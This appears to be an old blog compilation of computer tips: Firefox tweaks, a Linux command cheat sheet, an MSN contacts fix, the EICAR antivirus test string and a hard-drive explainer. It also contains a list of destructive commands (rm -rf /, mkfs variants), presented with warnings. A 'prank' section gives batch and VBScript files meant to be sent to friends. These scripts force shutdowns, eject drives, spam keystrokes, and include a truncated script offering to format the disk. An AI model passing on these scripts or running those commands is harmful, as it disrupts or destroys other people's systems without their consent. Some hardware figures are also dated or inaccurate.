Firefox Cpu Cycles

1. Type about:config in the address bar and press Enter to get the Firefox expert configuration page.

2. Type browser.cache.disk.capacity in the Filter text box.

3. Modify the value to 16384

4. Restart Firefox

try it
it works fro me inf Firefox 3.5.7

Firefox essencial tips

1. To quickly find any word in a web page type /word it will highlight the word and press Ctrl+G to “Find Again” that word again

2. If you wish to remove an item from your Address Bar Drop down menu,Highlight it without clicking and use Shift+Delete.

3. Clear your Download history to make the download manager more
responsive : Tools | Options | Privacy

4. Type about:cache?device=disk in your address bar to view/save items
that you have in your firefox disk cache

5. Type about:cache?device=memory in your address bar to view/save items
that you have in your Firefox memory cache

6. Drag any link to the Download Manager Window to add & download the link.

7. If you accidentally delete a bookmark and want to recover it,
open the “Bookmarks Manager”
and use Ctrl+Z,
or Edit | Undo.

8. Double Clicking empty space on the Tab Bar will open a ‘New Tab’

9. Holding down the Ctrl key when you right click
to “View Image” or “View Background Image” will open the image in a NewTab or New Window.

10. A bookmarks Folder’s position can also be Dragged & Dropped but you must hold down the SHIFT key while Dragging.

11. To prevent a website from replacing/changing your righ tclick context menu
go to Tools > Options > Web Features then click the “advanced tab” and de-select “remove or replace context menus”.

12. You can work offline in Firefox just go to File > Work Offline.
This means that you can browse your previously visited pages even when you’re offline this is a really cool feature but not many people who use it.

13. You can bookmark the current page by dragging the icon from the location bar to your Bookmarks folder.
You can also drag it to the desktop to make an icon for that page.

14. To stop animated gifs from moving, press the ESC key.

that all i got
ENjoy Browsing ...

Linux Command

Privileges

sudo command - run command as root
sudo su - open a root shell
sudo su user - open a shell as user
sudo -k - forget sudo passwords
gksudo command - visual sudo dialog (GNOME)
kdesudo command - visual sudo dialog (KDE)
sudo visudo - edit /etc/sudoers
gksudo nautilus - root file manager (GNOME)
kdesudo konqueror - root file manager (KDE)
passwd - change your password


Display

sudo /etc/init.d/gdm restart - restart X (GNOME)
sudo /etc/init.d/kdm restart - restart X (KDE)
(file) /etc/X11/xorg.conf - display configuration
sudo dpkg-reconfigure -phigh xserver-xorg - reset X configuration
Ctrl+Alt+Bksp - restart X display if frozen
Ctrl+Alt+FN - switch to tty N
Ctrl+Alt+F7 - switch back to X display

This command will usually tell you the vendor and model of your graphic card
list
lspci
lspci -v
lspci -v | less

System Services

start service - start job service (Upstart)
stop service - stop job service (Upstart)
status service - check if service is running (Upstart)
/etc/init.d/service start - start service (SysV)
/etc/init.d/service stop - stop service (SysV)
/etc/init.d/service status - check service (SysV)
/etc/init.d/service restart - restart service (SysV)
runlevel - get current runlevel


Package Management

apt-get update - refresh available updates
apt-get upgrade - upgrade all packages
apt-get dist-upgrade - upgrade Ubuntu version
apt-get install pkg - install pkg
apt-get remove pkg - uninstall pkg
apt-get autoremove - remove obsolete packages
apt-get -f install - try to fix broken packages
dpkg –configure -a - try to fix broken packages
dpkg -i pkg.deb - install file pkg.deb
(file) /etc/apt/sources.list - APT repository list


Network

ifconfig - show network information
iwconfig - show wireless information
sudo iwlist scan - scan for wireless networks
sudo /etc/init.d/networking restart - reset network
(file) /etc/network/interfaces - manual configuration
ifup interface - bring interface online
ifdown interface - disable interface


Special Packages

ubuntu-desktop - standard Ubuntu environment
kubuntu-desktop - KDE desktop
xubuntu-desktop - XFCE desktop
ubuntu-minimal - core Ubuntu utilities
ubuntu-standard - standard Ubuntu utilities
ubuntu-restricted-extras - non-free, but useful
kubuntu-restricted-extras - KDE of the above
xubuntu-restricted-extras - XFCE of the above
build-essential - packages used to compile programs
linux-image-generic - latest generic kernel image
linux-headers-generic - latest build headers


Firewall

ufw enable - turn on the firewall
ufw disable - turn off the firewall
ufw default allow - allow all connections by default
ufw default deny - drop all connections by default
ufw status - current status and rules
ufw allow port - allow traffic on port
ufw deny port - block port
ufw deny from ip - block ip adress


Application Names

nautilus - file manager (GNOME)
dolphin - file manager (KDE)
konqueror - web browser/filemanager (KDE)
kate - text editor (KDE)
gedit - text editor (GNOME)


System

Recovery - Type the phrase “REISUB” while
holding down Alt and SysRq (PrintScrn) with
about 1 second between each letter. Your system
will reboot.
lsb_release -a - get Ubuntu version
uname -r - get kernel version
uname -a - get all kernel information

Moving around in the file system

pwd "Print working directory" - show what dir you're in.
ls -List the contents of a dir.
ls -l -List the contents of a dir and show additional info of the files.
ls -a -List all files, including hidden files.
cd -Change directory.
cd .. -Go to the parent directory.


Manipulating files and directories

cp -Copy a file.
cp -i -Copy a file and ask before overwriting.
cp -r -Copy a directory with its contents.
mv -Move or rename a file.
mv -i -Move or rename a file and ask before overwriting.
rm -Remove a file.
rm -r -Remove a directory with its contents.
rm -i -Ask before removing a file. Good to use with the -r option.
mkdir -Make a directory.
rmdir -Remove an empty directory.


zipping/taring

tar -cvzf mytar.tar.gz sourcefilesordir - creates a new tar file, verbose options on, runs it through gnuzip,f is the filename
tar -xvf mytar.tar.gz destination - extracts a tar file (this example is compressed with gzip), verbosely, f is the filename
gzip fileordir - compresses a file with gzip.
gunzip file.gz - decompresses a file with gzip.
NB gzip only compresses files, it doesn’t collect them into a single file like a tarball does.


More Commands

Arrow Up: scrolls and edits the command history, press enter to activate.
Shift+pgup: scrolls terminal output up
Shift+pgdown: scrolls terminal output down
CTRL-ALT+DEL reboots the system
Shutdown -h now turns the system off
CTRL C kills the current process
CTRL S Stops the tranfer to the terminal
CTRL Q Resumes the transfer to the terminal
CTRL Z Puts the current process in the background.


hostname - Shows the host name of the system you are on
whoami Displays your login name
date - Displays what your machine thinks the date is
who - Shows who is logged into the machine
rwho-a -Shows all users logged into the server network
finger Shows info on chosen user
last - Show the last users logged into the machine
uptime - Shows the systems uptime
PS - Shows the current user processes
PS -A - Shows all process on the system
uname -A -Displays all info on your host.
free -Shows the free memory in KB
df -h -Shows the disk space details
cat/proc/cpuinfo -Shows the CPU information
cat/proc/filesystems -Shows the file system information in use
cat/etc/printcap -Shows if any printers are hooked up
lsmod -Shows the kernel modules loaded


Malicious Commands
You Should (NOT USE) unless you know what you're doing.

This commands will erase your hard drive:
sudo mkfs (This will format your hard drive)
sudo mkfs.ext3 (This will format your hard drive)
sudo mkfs.bfs (This will format your hard drive)
sudo mkfs.cramfs (This will format your hard drive)
sudo mkfs.ext2 (This will format your hard drive)
sudo mkfs.minix (This will format your hard drive)
sudo mkfs.msdos (This will format your hard drive)
sudo mkfs.reiserfs (This will format your hard drive)
sudo mkfs.vfat (This will format your hard drive)

This commands can damage your operating system.

sudo rm -rf / (This will delete all your files on your system)
sudo rm -rf * (This will delete all the files in the current folder)
rm -rf * or rm -rf *.* (This will delete all the files in the current folder)
rm -rf ~/ & (This will destroy your home directory)

If you cannot add contacts on my msn....

Delete your Contacts cache folder
If your contact list is empty or incomplete after you upgrade to Windows Live Messenger, the cached contact list may not have updated correctly. Before you can delete your Contacts cache folder, make sure you can view your complete folder list in Windows Explorer.
View your complete folder list
On the taskbar, right-click Start, and then select Explore.
Click on Tools, and then select Folder Options.
In the Folder Options window, click the View tab.
In the Advanced Settings list, select Show hidden files and folders, make sure Hide extensions for known file types is not selected, and then click OK.
In the Windows Explorer window, click View, select Explorer Bar, and then verify that Folders is checked.

Delete your Contacts cache folder
After changing your Windows Explorer settings:
On the taskbar, right-click Start, and then select Explore.
In the folder list on the left-hand pane, navigate to the folder C:\Documents and Settings\Your Windows logon name\Contacts\Your Messenger email address.
Delete all of the files within the folder Your Messenger email address.
In the folder list on the left-hand pane, navigate to the folder C:\Documents and Settings\Your Windows logon name\Local Settings\Application Data\Microsoft\Windows Live Contacts\Your Messenger email address.
In the Your Messenger email address folder, delete the real and shadow folders.
Close Windows Explorer and try to sign in to Messenger again

How to Check Your Anti-Virus Software Working Properly Or Not.

#1

This article is best in checking out whether your antivirus software is running at its best or not. It was not known to many that how to check the antivirus software they are using is working properly or not. Please read the article for the details.

Click Start --> Open Notepad -->

Copy the code exactly in the notepad :

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Now Save it with the name fakevirus.exe in any of your folder/drives.

if this file got deleted immediately...then it means that your antivirus is working properly and updated !!

If this doesnt happens and you see the saved file in that folder do right click the file and select scan with your installed antivirus and if the scan shows the file then it means your antivirus is working properly but not updated with a new version, as best antivirus softwares detect any virus (at the same second when you save the same in your system)without your effort of going to specified folder and scanning the folder.

If it doesnt shows any kind of threats then you need to change your antivirus software immediately with some good one with the new version.

10 Most dangerous scripts to prank your friends.

ALL OF THEZE COMMANDZ ARE TO BE TYPED IN NOTEPAD...

--- --- --- --- --- --- --- --- ---

1) Convey your friend a little message and shut down his / her computer:
Type :

Code:

@echo off
msg * I don't like yo
shutdown -c "Error! You are too stupid!" -s

Save it as "Anything.BAT" in All Files and send it.

3) Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Type :

Quote:

Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop

Save it as "Anything.VBS" and send it.

4) Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :

Quote:

Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop

Save it as "Anything.VBS" and send it.

5) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
Type :

Quote:

WScript.Sleep 180000 WScript.Sleep 10000 Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "notepad" WScript.Sleep 100 WshShell.AppActivate "Notepad" WScript.Sleep 500 WshShell.SendKeys "Hel" WScript.Sleep 500 WshShell.SendKeys "lo " WScript.Sleep 500 WshShell.SendKeys ", ho" WScript.Sleep 500 WshShell.SendKeys "w a" WScript.Sleep 500 WshShell.SendKeys "re " WScript.Sleep 500 WshShell.SendKeys "you" WScript.Sleep 500 WshShell.SendKeys "? " WScript.Sleep 500 WshShell.SendKeys "I a" WScript.Sleep 500 WshShell.SendKeys "m g" WScript.Sleep 500 WshShell.SendKeys "ood" WScript.Sleep 500 WshShell.SendKeys " th" WScript.Sleep 500 WshShell.SendKeys "ank" WScript.Sleep 500 WshShell.SendKeys "s! "

Save it as "Anything.VBS" and send it.

6) Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type :

Quote:

MsgBox "Let's go back a few steps" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop

Save it as "Anything.VBS" and send it.

7) Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Type :

Quote:

Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "You are a fool." loop

Save it as "Anything.VBS" and send it.

8. Open Notepad continually in your friend's computer:
Type :

Quote:

@ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top

Save it as "Anything.BAT" and send it.

9) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:

1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :

Quote:

@echo off title The end of the world cd C:\ :menu cls echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc... pause echo Pick your poison: echo 1. Die this way (Wimp) echo 2. Die this way (WIMP!) echo 3. DO NOT DIE THIS WAY echo 4. Die this way (you're boring) echo 5. Easy way out set input=nothing set /p input=Choice: if %input%==1 goto one if %input%==2 goto two

How Hard Drives work

What is a Hard Drive

Almost all desktop computers have a hard drive inside them, but do you really know what they are? Many people when they hear the word hard drive, think that it refers to the computer as a whole. In reality, though, the hard drive is just one of many different pieces that comprise a computer. The hard drive is one of the most important parts of your computer because it is used as a long-term storage space for your data. What that means, is regardless of whether or not the computer is on, or you lose power, the data will still stay stored on this drive keeping it safe. On the other hand, it tells you how important backing up your data is, because if the hard drive malfunctions there is a good chance you will lose it all.

A hard drive is an integral piece of equipment for your computer as your operating system and all your data are typically stored there. In the majority of the situations, if you did not have a working hard drive, or the hard drive malfunctions, you would not be able to boot your computer into the operating system and would get an error. If you opened your computer case and wanted to find your hard drive, it would look similar to the image below:

How hard drives work

If you were to open your hard drive, which would immediately void your warranty and potentially damage it, you would see something like the image below:

A hard drive consists of the following:

• Magnetic platters - Platters are the round plates in the image above. Each platter holds a certain amount of information, so a drive with a lot of storage will have more platters than one with less storage. When information is stored and retrieved from the platters it is done so in concentric circles, called tracks, which are further broken down into segments called sectors.
  
• Arm - The arm is the piece sticking out over the platters. The arms will contain read and write heads which are used to read and store the magnetic information onto the platters. Each platter will have its own arm which is used to read and write data off of it.
  
• Motor - The motor is used to spin the platters from 4,500 to 15,000 rotations per minute (RPM). The faster the RPM of a drive, the better performance you will achieve from it.

When a the computer wants to retrieve data off of the hard drive, the motor will spin up the platters and the arm will move itself to the appropriate position above the platter where the data is stored. The heads on the arm will detect the magnetic bits on the platters and convert them into the appropriate data that can be used by the computer. Conversely, when data is sent to the drive, the heads will this time, send magnetic pulses at the platters changing the magnetic properties of the platter, and thus storing your information.
It is important to note, that since the data stored on your hard drive is magnetic, it is not a good idea to play with a magnet near your hard drive

Hard Drive Interfaces
A hard drive connects to your computer through a specific type of interface. The interface on your hard drive must match the corresponding interface on your motherboard. If you purchase a new hard drive that has a interface that your motherboard does not support, it will not work in your computer. Currently there are three interfaces that have become the standard for connecting your hard to your computer. Some information about each of these interfaces are below.

• IDE or ATA - This is currently the most common interface used but is quickly becoming overcome by the newer SATA interface. Hard drives using this type of interface have speeds up to 100 Mbps.
  
• SATA - A newer interface that uses less bulky cables and has speeds starting at 150 Mbps for SATA and 300 Mbps for SATA II. Almost all computer manufacturers have started using SATA drives.
  
• SCSI - This type of interface is typically used in a business environment for servers. Hard Drives designed for a SCSI interface tend to have a faster RPM which therefore provides better performance.
  

When buying a hard drive
When purchasing a hard drive there are some characteristics you want to keep in mind that will help you determine the right drive for your needs. These characteristics are:

• Seek Time - The amount of time required to move a drive's read/write head to a particular location on the disk. The lower the number, the better.
  
• Access time - The actual amount of time from when a data is requested from a drive and delivered. The lower the number, the better.
  
• RPMS - How fast the platters spin. The higher the number, the faster the drive will be.
  
• Capacity - The amount of storage space available on the drive. Typically most drives purchased today will be 80 Gigabytes or greater. An 80 GB hard drive will on average cost around 60 USD.
  
• Interface - How the hard drive connects to your computer. Make sure that the hard drive's interface is supported on your computer before you purchase it.